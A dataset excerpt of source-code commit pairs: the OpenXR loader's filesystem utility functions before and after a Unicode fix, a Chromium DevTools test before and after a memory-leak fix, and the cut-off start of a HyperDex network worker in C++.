path) {\n try {\n FS_PREFIX::path file_path(path);\n return file_path.is_absolute();\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsGetCurrentPath(std::string& path) {\n try {\n FS_PREFIX::path cur_path = FS_PREFIX::current_path();\n path = cur_path.string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetParentPath(const std::string& file_path, std::string& parent_path) {\n try {\n FS_PREFIX::path path_var(file_path);\n parent_path = path_var.parent_path().string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetAbsolutePath(const std::string& path, std::string& absolute) {\n try {\n absolute = FS_PREFIX::absolute(path).string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsCombinePaths(const std::string& parent, const std::string& child, std::string& combined) {\n try {\n FS_PREFIX::path parent_path(parent);\n FS_PREFIX::path child_path(child);\n FS_PREFIX::path full_path = parent_path \/ child_path;\n combined = full_path.string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsParsePathList(std::string& path_list, std::vector& paths) {\n try {\n std::string::size_type start = 0;\n std::string::size_type location = path_list.find(PATH_SEPARATOR);\n while (location != std::string::npos) {\n paths.push_back(path_list.substr(start, location));\n start = location + 1;\n location = path_list.find(PATH_SEPARATOR, start);\n }\n paths.push_back(path_list.substr(start, location));\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsFindFilesInPath(const std::string& path, std::vector& files) {\n try {\n for (auto& dir_iter : FS_PREFIX::directory_iterator(path)) {\n files.push_back(dir_iter.path().filename().string());\n }\n return true;\n } catch (...) {\n }\n return false;\n}\n\n#elif defined(XR_OS_WINDOWS)\n\n\/\/ Workaround for MS VS 2010\/2013 don't support the experimental filesystem\n\nbool FileSysUtilsIsRegularFile(const std::string& path) {\n try {\n return (1 != PathIsDirectoryA(path.c_str()));\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsDirectory(const std::string& path) {\n try {\n return (1 == PathIsDirectoryA(path.c_str()));\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsPathExists(const std::string& path) {\n try {\n return (1 == PathFileExistsA(path.c_str()));\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsAbsolutePath(const std::string& path) {\n try {\n if ((path[0] == '\\\\') || (path[1] == ':' && (path[2] == '\\\\' || path[2] == '\/'))) {\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetCurrentPath(std::string& path) {\n try {\n char tmp_path[MAX_PATH];\n if (nullptr != _getcwd(tmp_path, MAX_PATH - 1)) {\n path = tmp_path;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetParentPath(const std::string& file_path, std::string& parent_path) {\n try {\n std::string full_path;\n if (FileSysUtilsGetAbsolutePath(file_path, full_path)) {\n std::string::size_type lastSeperator = full_path.find_last_of(DIRECTORY_SYMBOL);\n parent_path = (lastSeperator == 0) ? full_path : full_path.substr(0, lastSeperator - 1);\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetAbsolutePath(const std::string& path, std::string& absolute) {\n try {\n char tmp_path[MAX_PATH];\n if (0 != GetFullPathNameA(path.c_str(), MAX_PATH, tmp_path, NULL)) {\n absolute = tmp_path;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsCombinePaths(const std::string& parent, const std::string& child, std::string& combined) {\n try {\n std::string::size_type parent_len = parent.length();\n if (0 == parent_len || \".\" == parent || \".\\\\\" == parent || \".\/\" == parent) {\n combined = child;\n return true;\n }\n char last_char = parent[parent_len - 1];\n if (last_char == DIRECTORY_SYMBOL) {\n parent_len--;\n }\n combined = parent.substr(0, parent_len) + DIRECTORY_SYMBOL + child;\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsParsePathList(std::string& path_list, std::vector& paths) {\n try {\n std::string::size_type start = 0;\n std::string::size_type location = path_list.find(PATH_SEPARATOR);\n while (location != std::string::npos) {\n paths.push_back(path_list.substr(start, location));\n start = location + 1;\n location = path_list.find(PATH_SEPARATOR, start);\n }\n paths.push_back(path_list.substr(start, location));\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsFindFilesInPath(const std::string& path, std::vector& files) {\n try {\n WIN32_FIND_DATA file_data;\n HANDLE file_handle = FindFirstFileA(path.c_str(), &file_data);\n if (file_handle != INVALID_HANDLE_VALUE) {\n do {\n if (!(file_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {\n files.push_back(file_data.cFileName);\n }\n } while (FindNextFile(file_handle, &file_data));\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\n#else \/\/ XR_OS_LINUX\/XR_OS_APPLE fallback\n\n#include \n#include \n#include \n#include \n#include \n\n\/\/ simple POSIX-compatible implementation of the pieces used by OpenXR\n\nbool FileSysUtilsIsRegularFile(const std::string& path) {\n try {\n struct stat path_stat;\n stat(path.c_str(), &path_stat);\n return S_ISREG(path_stat.st_mode);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsIsDirectory(const std::string& path) {\n try {\n struct stat path_stat;\n stat(path.c_str(), &path_stat);\n return S_ISDIR(path_stat.st_mode);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsPathExists(const std::string& path) {\n try {\n return (access(path.c_str(), F_OK) != -1);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsIsAbsolutePath(const std::string& path) {\n try {\n return (path[0] == DIRECTORY_SYMBOL);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetCurrentPath(std::string& path) {\n try {\n char tmp_path[PATH_MAX];\n if (nullptr != getcwd(tmp_path, PATH_MAX - 1)) {\n path = tmp_path;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetParentPath(const std::string& file_path, std::string& parent_path) {\n try {\n std::string full_path;\n if (FileSysUtilsGetAbsolutePath(file_path, full_path)) {\n std::string::size_type lastSeperator = full_path.find_last_of(DIRECTORY_SYMBOL);\n parent_path = (lastSeperator == 0) ? full_path : full_path.substr(0, lastSeperator - 1);\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetAbsolutePath(const std::string& path, std::string& absolute) {\n try {\n char buf[PATH_MAX];\n if (nullptr != realpath(path.c_str(), buf)) {\n absolute = buf;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsCombinePaths(const std::string& parent, const std::string& child, std::string& combined) {\n try {\n std::string::size_type parent_len = parent.length();\n if (0 == parent_len || \".\" == parent || \".\/\" == parent) {\n combined = child;\n return true;\n }\n char last_char = parent[parent_len - 1];\n if (last_char == DIRECTORY_SYMBOL) {\n parent_len--;\n }\n combined = parent.substr(0, parent_len) + DIRECTORY_SYMBOL + child;\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsParsePathList(std::string& path_list, std::vector& paths) {\n try {\n std::string::size_type start = 0;\n std::string::size_type location = path_list.find(PATH_SEPARATOR);\n while (location != std::string::npos) {\n paths.push_back(path_list.substr(start, location));\n start = location + 1;\n location = path_list.find(PATH_SEPARATOR, start);\n }\n paths.push_back(path_list.substr(start, location));\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsFindFilesInPath(const std::string& path, std::vector& files) {\n try {\n DIR* dir;\n struct dirent* entry;\n dir = opendir(path.c_str());\n while (dir && (entry = readdir(dir))) {\n files.push_back(entry->d_name);\n }\n closedir(dir);\n return true;\n } catch (...) {\n }\n return false;\n}\n\n#endif\nmake filesystem_util unicode compatible when USE_EXPERIMENTAL_FS=0 and USE_FINAL_FS=0\/\/ Copyright (c) 2017 The Khronos Group Inc.\n\/\/ Copyright (c) 2017 Valve Corporation\n\/\/ Copyright (c) 2017 LunarG, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Authors: Mark Young \n\/\/ Nat Brown \n\/\/\n\n#include \n#include \"xr_dependencies.h\"\n\n#if defined DISABLE_STD_FILESYSTEM\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 0\n\n#else\n\/\/ If the C++ macro is set to the version containing C++17, it must support\n\/\/ the final C++17 package\n#if __cplusplus >= 201703L\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 1\n\n#elif defined(_MSC_VER) && _MSC_VER >= 1900\n\n#if defined(_HAS_CXX17) && _HAS_CXX17\n\/\/ When MSC supports c++17 use package.\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 1\n#else\n\/\/ MSC before c++17 need to use package.\n#define USE_EXPERIMENTAL_FS 1\n#define USE_FINAL_FS 0\n#endif \/\/ !_HAS_CXX17\n\n\/\/ Right now, GCC still only supports the experimental filesystem items starting in GCC 6\n#elif (__GNUC__ >= 6)\n#define USE_EXPERIMENTAL_FS 1\n#define USE_FINAL_FS 0\n\n\/\/ If Clang, check for feature support\n#elif defined(__clang__) && (__cpp_lib_filesystem || __cpp_lib_experimental_filesystem)\n#if __cpp_lib_filesystem\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 1\n#else\n#define USE_EXPERIMENTAL_FS 1\n#define USE_FINAL_FS 0\n#endif\n\n\/\/ If all above fails, fall back to standard C++ and OS-specific items\n#else\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 0\n#endif\n#endif\n\n#if USE_FINAL_FS == 1\n#include \n#define FS_PREFIX std::filesystem\n#elif USE_EXPERIMENTAL_FS == 1\n#if (WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP)\n#error \"Windows universal application doesn't support system::experimental::filesystem\"\n#endif\n#include \n#define FS_PREFIX std::experimental::filesystem\n#elif defined(XR_USE_PLATFORM_WIN32)\n\/\/ Windows fallback includes\n#include \n#include \n#include \n#else\n\/\/ Linux\/Apple fallback includes\n#include \n#include \n#include \n#include \n#include \n#include \n#endif\n\n#include \"filesystem_utils.hpp\"\n\n#if defined(XR_USE_PLATFORM_WIN32)\n#define PATH_SEPARATOR ';'\n#define DIRECTORY_SYMBOL '\\\\'\n#else\n#define PATH_SEPARATOR ':'\n#define DIRECTORY_SYMBOL '\/'\n#endif\n\n#if (USE_FINAL_FS == 1) || (USE_EXPERIMENTAL_FS == 1)\n\/\/ We can use one of the C++ filesystem packages\n\nbool FileSysUtilsIsRegularFile(const std::string& path) {\n try {\n return FS_PREFIX::is_regular_file(path);\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsDirectory(const std::string& path) {\n try {\n return FS_PREFIX::is_directory(path);\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsPathExists(const std::string& path) {\n try {\n return FS_PREFIX::exists(path);\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsAbsolutePath(const std::string& path) {\n try {\n FS_PREFIX::path file_path(path);\n return file_path.is_absolute();\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsGetCurrentPath(std::string& path) {\n try {\n FS_PREFIX::path cur_path = FS_PREFIX::current_path();\n path = cur_path.string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetParentPath(const std::string& file_path, std::string& parent_path) {\n try {\n FS_PREFIX::path path_var(file_path);\n parent_path = path_var.parent_path().string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetAbsolutePath(const std::string& path, std::string& absolute) {\n try {\n absolute = FS_PREFIX::absolute(path).string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsCombinePaths(const std::string& parent, const std::string& child, std::string& combined) {\n try {\n FS_PREFIX::path parent_path(parent);\n FS_PREFIX::path child_path(child);\n FS_PREFIX::path full_path = parent_path \/ child_path;\n combined = full_path.string();\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsParsePathList(std::string& path_list, std::vector& paths) {\n try {\n std::string::size_type start = 0;\n std::string::size_type location = path_list.find(PATH_SEPARATOR);\n while (location != std::string::npos) {\n paths.push_back(path_list.substr(start, location));\n start = location + 1;\n location = path_list.find(PATH_SEPARATOR, start);\n }\n paths.push_back(path_list.substr(start, location));\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsFindFilesInPath(const std::string& path, std::vector& files) {\n try {\n for (auto& dir_iter : FS_PREFIX::directory_iterator(path)) {\n files.push_back(dir_iter.path().filename().string());\n }\n return true;\n } catch (...) {\n }\n return false;\n}\n\n#elif defined(XR_OS_WINDOWS)\n\n\/\/ Workaround for MS VS 2010\/2013 don't support the experimental filesystem\n\nstd::vector MultibyteToWChar(std::string str) {\n const char* mbstr = str.c_str();\n std::mbstate_t state = std::mbstate_t();\n std::size_t len = 1 + std::mbsrtowcs(NULL, &mbstr, 0, &state);\n std::vector wstr(len);\n std::mbsrtowcs(&wstr[0], &mbstr, wstr.size(), &state);\n return wstr;\n}\n\nbool FileSysUtilsIsRegularFile(const std::string& path) {\n try {\n return (1 != PathIsDirectoryA(path.c_str()));\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsDirectory(const std::string& path) {\n try {\n return (1 == PathIsDirectoryA(path.c_str()));\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsPathExists(const std::string& path) {\n try {\n return (1 == PathFileExistsA(path.c_str()));\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsAbsolutePath(const std::string& path) {\n try {\n if ((path[0] == '\\\\') || (path[1] == ':' && (path[2] == '\\\\' || path[2] == '\/'))) {\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetCurrentPath(std::string& path) {\n try {\n char tmp_path[MAX_PATH];\n if (nullptr != _getcwd(tmp_path, MAX_PATH - 1)) {\n path = tmp_path;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetParentPath(const std::string& file_path, std::string& parent_path) {\n try {\n std::string full_path;\n if (FileSysUtilsGetAbsolutePath(file_path, full_path)) {\n std::string::size_type lastSeperator = full_path.find_last_of(DIRECTORY_SYMBOL);\n parent_path = (lastSeperator == 0) ? full_path : full_path.substr(0, lastSeperator - 1);\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetAbsolutePath(const std::string& path, std::string& absolute) {\n try {\n char tmp_path[MAX_PATH];\n if (0 != GetFullPathNameA(path.c_str(), MAX_PATH, tmp_path, NULL)) {\n absolute = tmp_path;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsCombinePaths(const std::string& parent, const std::string& child, std::string& combined) {\n try {\n std::string::size_type parent_len = parent.length();\n if (0 == parent_len || \".\" == parent || \".\\\\\" == parent || \".\/\" == parent) {\n combined = child;\n return true;\n }\n char last_char = parent[parent_len - 1];\n if (last_char == DIRECTORY_SYMBOL) {\n parent_len--;\n }\n combined = parent.substr(0, parent_len) + DIRECTORY_SYMBOL + child;\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsParsePathList(std::string& path_list, std::vector& paths) {\n try {\n std::string::size_type start = 0;\n std::string::size_type location = path_list.find(PATH_SEPARATOR);\n while (location != std::string::npos) {\n paths.push_back(path_list.substr(start, location));\n start = location + 1;\n location = path_list.find(PATH_SEPARATOR, start);\n }\n paths.push_back(path_list.substr(start, location));\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsFindFilesInPath(const std::string& path, std::vector& files) {\n try {\n WIN32_FIND_DATA file_data;\n HANDLE file_handle = FindFirstFileA(path.c_str(), &file_data);\n if (file_handle != INVALID_HANDLE_VALUE) {\n do {\n if (!(file_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {\n const wchar_t* wstr = file_data.cFileName;\n std::mbstate_t state = std::mbstate_t();\n std::size_t len = 1 + std::wcsrtombs(nullptr, &wstr, 0, &state);\n std::vector mbstr(len);\n std::wcsrtombs(&mbstr[0], &wstr, mbstr.size(), &state);\n files.push_back(mbstr.data());\n }\n } while (FindNextFile(file_handle, &file_data));\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\n#else \/\/ XR_OS_LINUX\/XR_OS_APPLE fallback\n\n#include \n#include \n#include \n#include \n#include \n\n\/\/ simple POSIX-compatible implementation of the pieces used by OpenXR\n\nbool FileSysUtilsIsRegularFile(const std::string& path) {\n try {\n struct stat path_stat;\n stat(path.c_str(), &path_stat);\n return S_ISREG(path_stat.st_mode);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsIsDirectory(const std::string& path) {\n try {\n struct stat path_stat;\n stat(path.c_str(), &path_stat);\n return S_ISDIR(path_stat.st_mode);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsPathExists(const std::string& path) {\n try {\n return (access(path.c_str(), F_OK) != -1);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsIsAbsolutePath(const std::string& path) {\n try {\n return (path[0] == DIRECTORY_SYMBOL);\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetCurrentPath(std::string& path) {\n try {\n char tmp_path[PATH_MAX];\n if (nullptr != getcwd(tmp_path, PATH_MAX - 1)) {\n path = tmp_path;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetParentPath(const std::string& file_path, std::string& parent_path) {\n try {\n std::string full_path;\n if (FileSysUtilsGetAbsolutePath(file_path, full_path)) {\n std::string::size_type lastSeperator = full_path.find_last_of(DIRECTORY_SYMBOL);\n parent_path = (lastSeperator == 0) ? full_path : full_path.substr(0, lastSeperator - 1);\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsGetAbsolutePath(const std::string& path, std::string& absolute) {\n try {\n char buf[PATH_MAX];\n if (nullptr != realpath(path.c_str(), buf)) {\n absolute = buf;\n return true;\n }\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsCombinePaths(const std::string& parent, const std::string& child, std::string& combined) {\n try {\n std::string::size_type parent_len = parent.length();\n if (0 == parent_len || \".\" == parent || \".\/\" == parent) {\n combined = child;\n return true;\n }\n char last_char = parent[parent_len - 1];\n if (last_char == DIRECTORY_SYMBOL) {\n parent_len--;\n }\n combined = parent.substr(0, parent_len) + DIRECTORY_SYMBOL + child;\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsParsePathList(std::string& path_list, std::vector& paths) {\n try {\n std::string::size_type start = 0;\n std::string::size_type location = path_list.find(PATH_SEPARATOR);\n while (location != std::string::npos) {\n paths.push_back(path_list.substr(start, location));\n start = location + 1;\n location = path_list.find(PATH_SEPARATOR, start);\n }\n paths.push_back(path_list.substr(start, location));\n return true;\n } catch (...) {\n }\n return false;\n}\n\nbool FileSysUtilsFindFilesInPath(const std::string& path, std::vector& files) {\n try {\n DIR* dir;\n struct dirent* entry;\n dir = opendir(path.c_str());\n while (dir && (entry = readdir(dir))) {\n files.push_back(entry->d_name);\n }\n closedir(dir);\n return true;\n } catch (...) {\n }\n return false;\n}\n\n#endif\n<|endoftext|>"} {"text":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/basictypes.h\"\n#include \"base\/json\/json_reader.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"content\/browser\/devtools\/renderer_overrides_handler.h\"\n#include \"content\/public\/browser\/devtools_agent_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/shell\/browser\/shell.h\"\n#include \"content\/test\/content_browser_test.h\"\n#include \"content\/test\/content_browser_test_utils.h\"\n\nnamespace content {\n\nclass RendererOverridesHandlerTest : public ContentBrowserTest {\n protected:\n scoped_refptr SendCommand(\n const std::string& method,\n DictionaryValue* params) {\n scoped_ptr handler(CreateHandler());\n scoped_refptr command(\n DevToolsProtocol::CreateCommand(1, method, params));\n return handler->HandleCommand(command);\n }\n\n void SendAsyncCommand(const std::string& method, DictionaryValue* params) {\n scoped_ptr handler(CreateHandler());\n scoped_refptr command(\n DevToolsProtocol::CreateCommand(1, method, params));\n scoped_refptr response =\n handler->HandleCommand(command);\n EXPECT_TRUE(response->is_async_promise());\n base::MessageLoop::current()->Run();\n }\n\n bool HasValue(const std::string& path) {\n base::Value* value = 0;\n return result_->Get(path, &value);\n }\n\n bool HasListItem(const std::string& path_to_list,\n const std::string& name,\n const std::string& value) {\n base::ListValue* list;\n if (!result_->GetList(path_to_list, &list))\n return false;\n\n for (size_t i = 0; i != list->GetSize(); i++) {\n base::DictionaryValue* item;\n if (!list->GetDictionary(i, &item))\n return false;\n std::string id;\n if (!item->GetString(name, &id))\n return false;\n if (id == value)\n return true;\n }\n return false;\n }\n\n scoped_ptr result_;\n\n private:\n RendererOverridesHandler* CreateHandler() {\n RenderViewHost* rvh = shell()->web_contents()->GetRenderViewHost();\n DevToolsAgentHost* agent = DevToolsAgentHost::GetOrCreateFor(rvh).get();\n scoped_ptr handler(\n new RendererOverridesHandler(agent));\n handler->SetNotifier(base::Bind(\n &RendererOverridesHandlerTest::OnMessageSent, base::Unretained(this)));\n return handler.release();\n }\n\n void OnMessageSent(const std::string& message) {\n base::DictionaryValue* root =\n static_cast(base::JSONReader::Read(message));\n base::DictionaryValue* result;\n root->GetDictionary(\"result\", &result);\n result_.reset(result);\n base::MessageLoop::current()->QuitNow();\n }\n};\n\nIN_PROC_BROWSER_TEST_F(RendererOverridesHandlerTest, QueryUsageAndQuota) {\n DictionaryValue* params = new DictionaryValue();\n params->SetString(\"securityOrigin\", \"http:\/\/example.com\");\n SendAsyncCommand(\"Page.queryUsageAndQuota\", params);\n\n EXPECT_TRUE(HasValue(\"quota.persistent\"));\n EXPECT_TRUE(HasValue(\"quota.temporary\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"appcache\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"database\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"indexeddatabase\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"filesystem\"));\n EXPECT_TRUE(HasListItem(\"usage.persistent\", \"id\", \"filesystem\"));\n}\n\n} \/\/ namespace content\nDo not leak a DictionaryValue from RendererOverridesHandlerTest.QueryUsageAndQuota.\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/basictypes.h\"\n#include \"base\/json\/json_reader.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"content\/browser\/devtools\/renderer_overrides_handler.h\"\n#include \"content\/public\/browser\/devtools_agent_host.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/shell\/browser\/shell.h\"\n#include \"content\/test\/content_browser_test.h\"\n#include \"content\/test\/content_browser_test_utils.h\"\n\nnamespace content {\n\nclass RendererOverridesHandlerTest : public ContentBrowserTest {\n protected:\n scoped_refptr SendCommand(\n const std::string& method,\n DictionaryValue* params) {\n scoped_ptr handler(CreateHandler());\n scoped_refptr command(\n DevToolsProtocol::CreateCommand(1, method, params));\n return handler->HandleCommand(command);\n }\n\n void SendAsyncCommand(const std::string& method, DictionaryValue* params) {\n scoped_ptr handler(CreateHandler());\n scoped_refptr command(\n DevToolsProtocol::CreateCommand(1, method, params));\n scoped_refptr response =\n handler->HandleCommand(command);\n EXPECT_TRUE(response->is_async_promise());\n base::MessageLoop::current()->Run();\n }\n\n bool HasValue(const std::string& path) {\n base::Value* value = 0;\n return result_->Get(path, &value);\n }\n\n bool HasListItem(const std::string& path_to_list,\n const std::string& name,\n const std::string& value) {\n base::ListValue* list;\n if (!result_->GetList(path_to_list, &list))\n return false;\n\n for (size_t i = 0; i != list->GetSize(); i++) {\n base::DictionaryValue* item;\n if (!list->GetDictionary(i, &item))\n return false;\n std::string id;\n if (!item->GetString(name, &id))\n return false;\n if (id == value)\n return true;\n }\n return false;\n }\n\n scoped_ptr result_;\n\n private:\n RendererOverridesHandler* CreateHandler() {\n RenderViewHost* rvh = shell()->web_contents()->GetRenderViewHost();\n DevToolsAgentHost* agent = DevToolsAgentHost::GetOrCreateFor(rvh).get();\n scoped_ptr handler(\n new RendererOverridesHandler(agent));\n handler->SetNotifier(base::Bind(\n &RendererOverridesHandlerTest::OnMessageSent, base::Unretained(this)));\n return handler.release();\n }\n\n void OnMessageSent(const std::string& message) {\n scoped_ptr root(\n static_cast(base::JSONReader::Read(message)));\n base::DictionaryValue* result;\n root->GetDictionary(\"result\", &result);\n result_.reset(result->DeepCopy());\n base::MessageLoop::current()->QuitNow();\n }\n};\n\nIN_PROC_BROWSER_TEST_F(RendererOverridesHandlerTest, QueryUsageAndQuota) {\n DictionaryValue* params = new DictionaryValue();\n params->SetString(\"securityOrigin\", \"http:\/\/example.com\");\n SendAsyncCommand(\"Page.queryUsageAndQuota\", params);\n\n EXPECT_TRUE(HasValue(\"quota.persistent\"));\n EXPECT_TRUE(HasValue(\"quota.temporary\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"appcache\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"database\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"indexeddatabase\"));\n EXPECT_TRUE(HasListItem(\"usage.temporary\", \"id\", \"filesystem\"));\n EXPECT_TRUE(HasListItem(\"usage.persistent\", \"id\", \"filesystem\"));\n}\n\n} \/\/ namespace content\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2011, Cornell University\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of HyperDex nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ POSIX\n#include \n#include \n#include \n\n\/\/ Google Log\n#include \n\n\/\/ po6\n#include \n\n\/\/ HyperDex\n#include \n\n\/\/ HyperDaemon\n#include \"datalayer.h\"\n#include \"logical.h\"\n#include \"network_worker.h\"\n#include \"replication_manager.h\"\n#include \"searches.h\"\n\nusing hyperdex::entityid;\nusing hyperdex::network_msgtype;\nusing hyperdex::network_returncode;\n\nhyperdaemon :: network_worker :: network_worker(datalayer* data,\n logical* comm,\n searches* ssss,\n replication_manager* repl)\n : m_continue(true)\n , m_data(data)\n , m_comm(comm)\n , m_ssss(ssss)\n , m_repl(repl)\n{\n}\n\nhyperdaemon :: network_worker :: ~network_worker()\n{\n if (m_continue)\n {\n m_continue = false;\n LOG(INFO) << \"Network worker object not cleanly shutdown.\";\n }\n}\n\nvoid\nhyperdaemon :: network_worker :: run()\n{\n sigset_t ss;\n\n if (sigfillset(&ss) < 0)\n {\n PLOG(ERROR) << \"sigfillset\";\n return;\n }\n\n if (pthread_sigmask(SIG_BLOCK, &ss, NULL) < 0)\n {\n PLOG(ERROR) << \"pthread_sigmask\";\n return;\n }\n\n entityid from;\n entityid to;\n network_msgtype type;\n e::buffer msg;\n uint32_t nonce;\n\n while (m_continue && m_comm->recv(&from, &to, &type, &msg))\n {\n try\n {\n if (type == hyperdex::REQ_GET)\n {\n e::buffer key;\n std::vector value;\n uint64_t version;\n e::unpacker up(msg.unpack());\n up >> nonce;\n up.leftovers(&key);\n network_returncode result;\n\n switch (m_data->get(to.get_region(), key, &value, &version))\n {\n case hyperdisk::SUCCESS:\n result = hyperdex::NET_SUCCESS;\n break;\n case hyperdisk::NOTFOUND:\n result = hyperdex::NET_NOTFOUND;\n break;\n case hyperdisk::WRONGARITY:\n result = hyperdex::NET_WRONGARITY;\n break;\n case hyperdisk::MISSINGDISK:\n LOG(ERROR) << 